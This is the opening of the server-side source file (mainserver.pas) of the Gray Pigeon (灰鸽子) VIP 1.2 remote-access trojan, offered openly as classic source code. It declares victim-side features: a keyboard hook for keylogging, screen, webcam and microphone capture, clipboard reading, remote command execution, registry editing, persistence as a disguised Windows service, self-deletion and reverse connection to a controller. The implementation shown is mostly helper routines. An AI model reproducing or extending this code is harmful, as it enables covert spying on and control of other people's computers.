mainserver.pas

灰鸽子VIP1.2经典源代码

unit MainServer;

interface
                                  
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls,Registry, Shellapi,jpeg,Clipbrd,TLHelp32,
  WinSvc,WinntService, FtpSrv,FtpSrvC,Mmsystem,winsock,
  IdHTTP, IdBaseComponent,IdComponent,IdTCPConnection,IdTCPClient,
  CleanerLogUnit, Menus, IdSocks,IdIOHandler,IdIOHandlerSocket,
  wininet,IdGlobal,BASE64,Socks5Proxy,TACMWaveInUnit,untProxy,
  TScreenCaptureUnit,IdAntiFreezeBase,IdAntiFreeze, 
  TScrControlUnit,TVideoThreadUnit,vfw, SvcMgr, Videocap;



type
  FILE_INFO=record
    Filename:array[0..MAX_PATH] of char;
    Por:array[0..MAX_PATH] of char;
    isopen:integer;
    len:integer;
  end;

type  // 本地代理服务器设置信息。
  TProxyServerInf = record
    httpName: string; 
    httpport: integer;  
    SocksName: string; 
    Socksport: integer;  
  end;


TClientHandleThread = class(TThread)
                         private
                           CommandStr:String;
                           procedure HandleInput;
                         protected
                           procedure Execute; override;
                         Public
                           constructor Create;
                           destructor Destroy; override;
                        end;

TClientOnlineThread = class(TThread)
                         private
                           SysThread:TIdTCPClient;
                         protected
                           procedure Execute; override;
                         Public
                           constructor Create;
                           destructor Destroy; override;
                        end;

type
  rstr=record
         attr:integer;
         value:string;
         name:string[50];
       end;

CONST
Head='PIGEON';

type
TRegisterServiceProcess=function(dwProcessID, dwType: Integer): Integer; stdcall;




  Const
      cOsUnknown              : Integer = -1;
      cOsWin95                : Integer =  0;
      cOsWin98                : Integer =  1;
      cOsWin98SE              : Integer =  2;
      cOsWinME                : Integer =  3;
      cOsWinNT                : Integer =  4;
      cOsWin2000              : Integer =  5;
      cOsWhistler             : Integer =  6;
{---------------------------------------------}
type
  TH_GZVIP2004 = class(TForm)
    Timer1: TTimer;
    FtpServer1: TFtpServer;
    PopupMenu1: TPopupMenu;
    N1: TMenuItem;
    IdTCPClient1: TIdTCPClient;
    IdSocksInfo1: TIdSocksInfo;
    IdIOHandlerSocket1: TIdIOHandlerSocket;
    IdTCPOnline: TIdTCPClient;
    IdAntiFreeze1: TIdAntiFreeze;
    VideoCap1: TVideoCap;
    IdTCPVfw: TIdTCPClient;
    IdHTTP1: TIdHTTP;

    procedure Timer1Timer(Sender: TObject);

    procedure FtpServer1Authenticate(Sender: TObject;
      Client: TFtpCtrlSocket; UserName, Password: TFtpString;
      var Authenticated: Boolean);

    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);

    procedure N1Click(Sender: TObject);

    procedure VideoCap1VideoStream(sender: TObject; lpVhdr: PVIDEOHDR);

  private
    { Private declarations }

  public
    { Public declarations }
    
    SendStream,FilesStream: TMemoryStream;

    RpcAdder:String;
    RpcPort:integer;

    Socks5Proxy:TSocks5Proxy;

    BmInf:TBitmapInfo;
    bitmap:tbitmap;

    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;

    function ConRpcport(BThread: TIdTCPClient):Boolean;
    function DoRemoveDir(mDirName: string): Boolean;
    procedure Mycopyfile(sourse: string; dest: string);
    function DoCopyDir(sDirName: string; sToDirName: string): Boolean;
    function FindFile(Path:string):string;
    function Clip_Text :string;
    function Savenowtask:String;
    function Searchallwindow:string;
    procedure lockmouse(lock:boolean);
    function GetServicesInfo:string;
    function GetDosOutput(Command: string): string;
    function Reg_value(var StrTmpList:TStringList):string;
    procedure Editregvalue(var StrTmpList:TStringList);
    procedure Deleteregvalue(var StrTmpList:TStringList);
    procedure Newregvalue(var StrTmpList:TStringList);
    procedure Deleteregkey(var StrTmpList:TStringList);
    procedure ZhiXingCmd(var StrTmpList:TStringList);
    function GetLocalIP:String;
    procedure ReadMe;
    function JieMi(s:string):string;
    procedure InRegMe;
    procedure OutRegMe;
    procedure DelMe;
    procedure AutoToClient;
 
    Procedure HttpConokSend;
    procedure ToClientDisconnect;

    function HTTPtoIpPort(i:integer;S:string):Boolean;
    procedure SendStreamToClient(AThread: TIdTCPClient;Cmd,TempStr:String);
  end;

  TPigeonService = class(TService)
  protected
    procedure Start(Sender: TService; var Started: Boolean);
    procedure Stop(Sender: TService; var Stopped: Boolean);
  public
    function GetServiceController: TServiceController; override;
    constructor CreateNew(AOwner: TComponent; Dummy: Integer = 0); override;
  end;


type
  Pigeon = record
  
    Urlhttp: string;
    Dnsym: string;
    httpwj: string;
    Group:String;
    Beizhu: string;
    PassWord:String;
    Port:integer;
    ClientIm:integer;

    SfileSize:integer;

    SetupPath: Integer;
    SetupFile: string[30];
    AutoDelMe: Boolean;
    RunView:Boolean;

    Regqidong: Boolean;
    WinXpSer: Boolean;
    WinServerView:String;
    WinServerName:String;
    WinServerText:String;

    MsgShow: boolean;
    BiaoTi: string;
    NeiRong: string;
    TouBiao: Integer;
    NanNu: Integer;

    OpenFtpS: boolean;
    FtpPort:String[5];
    Ftpuser:string[16];
    Ftppass:string[16];
    FtpBan:String[255];

    OpenSocks5: boolean;
    Socks5Port:Integer;
    Socks5user:string[16];
    Socks5pass:string[16];
  end;


const
  KeyMask = $80000000;


var
  H_GZVIP2004: TH_GZVIP2004;
  PigeonService:TPigeonService;

  RegisterServiceProcess:TRegisterServiceProcess;

  allhwnd:array [0..100] of hwnd;
  ThreadID:array [0..100] of Dword;

  Peizhi: pigeon;
  Setupname:string;

  LogHook: HHook = 0;
  LastFocusWnd: HWnd = 0;
  PrvChar: Char;
  HookList: TStringList;
  hookkey:String;

  ACMWaveInThread:TACMWaveInThread;
  VideoThread:TVideoThread;
  ScreenCapture:TScreenCaptureThread;
  ScrControl:TScrControlThread;

  ACMWaveOver,VideoOver,ScreenOver,ScrConOver:Boolean;

  Verycolored:Integer;   {是否真彩色}

  ClientHandleThread: TClientHandleThread;   // variable (type see above)
  ClientOnlineThread: TClientOnlineThread;

implementation
uses
sharePsw,DlgshowUnit,DownFileUnit,My_StreamManage,FtpUnit,DownLoadFileUnit;

{$R *.dfm}

constructor TPigeonService.CreateNew(AOwner: TComponent; Dummy: Integer);
begin
  inherited;
  AllowPause := False;
  Interactive := True;
  DisplayName := Peizhi.WinServerView;
  Name := Peizhi.WinServerName;
  OnStart := Start;
  OnStop := Stop;
end;

procedure ServiceController(CtrlCode: DWORD); stdcall;
begin
  PigeonService.Controller(CtrlCode);
end;

function TPigeonService.GetServiceController: TServiceController;
begin
  Result := ServiceController;
end;

procedure TPigeonService.Start(Sender: TService; var Started: Boolean);
begin
  //PostMessage(HgzFsbSVip.Handle, WM_INITIALIZE, 1, 0);
  Started := True;
end;

procedure TPigeonService.Stop(Sender: TService; var Stopped: Boolean);
begin
  Stopped := True;
end;


function CenterStr(Src:String;Before,After:String):String;
var
    Pos1,Pos2:WORD;
    Temp:String;
begin
    Temp:=Src;
    Pos1:=Pos(Before,Temp);
    Delete(Temp,1,Pos1+Length(Before));
    Pos2:=Pos(After,Temp);
    if (Pos1=0) or (Pos2=0) then
    begin
      Result:='';
      Exit;
    end;
    Pos1:=Pos1+Length(Before);
    Result:=Copy(Src,Pos1,Pos2);
end;

function GetDefaultProxyServer(var ProxyStr: TProxyServerInf):Boolean;
var
 ProxyInfo: PInternetProxyInfo;
 Buffer: Pointer;
 BUF_SIZE: DWORD;
 Temp,Tmpip:String;
 i:integer;
begin
 Result := False;
 try
 BUF_SIZE:=1024;
 GetMem(Buffer,BUF_SIZE);
 ProxyStr.httpName :='';
 ProxyStr.httpport :=0;
 ProxyStr.SocksName :='';
 ProxyStr.Socksport :=0;
   if InternetQueryOption(nil,INTERNET_OPTION_PROXY,Buffer,BUF_SIZE) then
   begin
     ProxyInfo := Buffer;
     if ProxyInfo^.lpszProxy<>'' then
     begin
       Temp:= ProxyInfo^.lpszProxy+' ';
       i:=pos('http=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'http=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.httpName:=Copy(Tmpip,1,i-1);
               ProxyStr.httpport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       i:=pos('socks=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'socks=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.SocksName :=Copy(Tmpip,1,i-1);
               ProxyStr.Socksport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       if (ProxyStr.httpName='') and (ProxyStr.SocksName='') then
         begin
           i:=pos(':',Temp);
           if i>0 then
             begin
               Delete(Temp,Length(Temp),1);
               ProxyStr.httpName :=Copy(Temp,1,i-1);
               ProxyStr.httpport :=Strtoint(Copy(Temp,i+1,Length(Temp)));
             end;
         end;
       Result := True;
     end else begin
       Result := False;
     end;
   end Else begin
     Result := False;
   end;
 finally
   FreeMem(Buffer);
 end;
end;


function Soundkarte:Boolean;    // 监测声卡是否安装
begin
Result:= WaveOutGetNumDevs >0;
end;

function Transtrhex(s: string): string;
var strresult: string;
  i: integer;
begin
  strresult := '';
  for i := length(s) div 2 downto 1 do
  begin
    strresult := strresult + copy(s, i * 2 - 1, 2);
  end;
  result := strresult;
end;

{系统文件夹路径}
function Syspath :string;
var sysdir:array [0..255] of char;
begin
  GetSystemDirectory(sysdir,255);
  Result :=sysdir;
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;

{安装目录路径}
function Windowspath :string;
var sysdir:array [0..255] of char;
begin
  GetWindowsDirectory(sysdir,255);
  Result :=sysdir;
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;

{临时文件夹路径}
function Temppath :string;
var tmpdir:array [0..255] of char;
begin
  GetTempPath(255,@tmpdir);
  Result :=StrPas(Tmpdir);
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;


procedure TH_GZVIP2004.lockmouse(lock:boolean);
var rt:Trect;
    p:Tpoint;
begin
  if lock=true then
    begin
      GetCursorPos(p);
      rt:=rect(p.x,p.y,p.x+1,p.y+1);
      clipcursor(@rt);
    end else clipcursor(nil);
end;

function GetFileName(FileName: string): string; {从路径中分离文件名}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, Length(FileName) - Contador + 1, Length(FileName)));
end;

function GetFilepath(FileName: string): string; {从全路径中分离路径,有'\'}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, 1, Length(FileName) - Contador));
end;

{------------------------------------}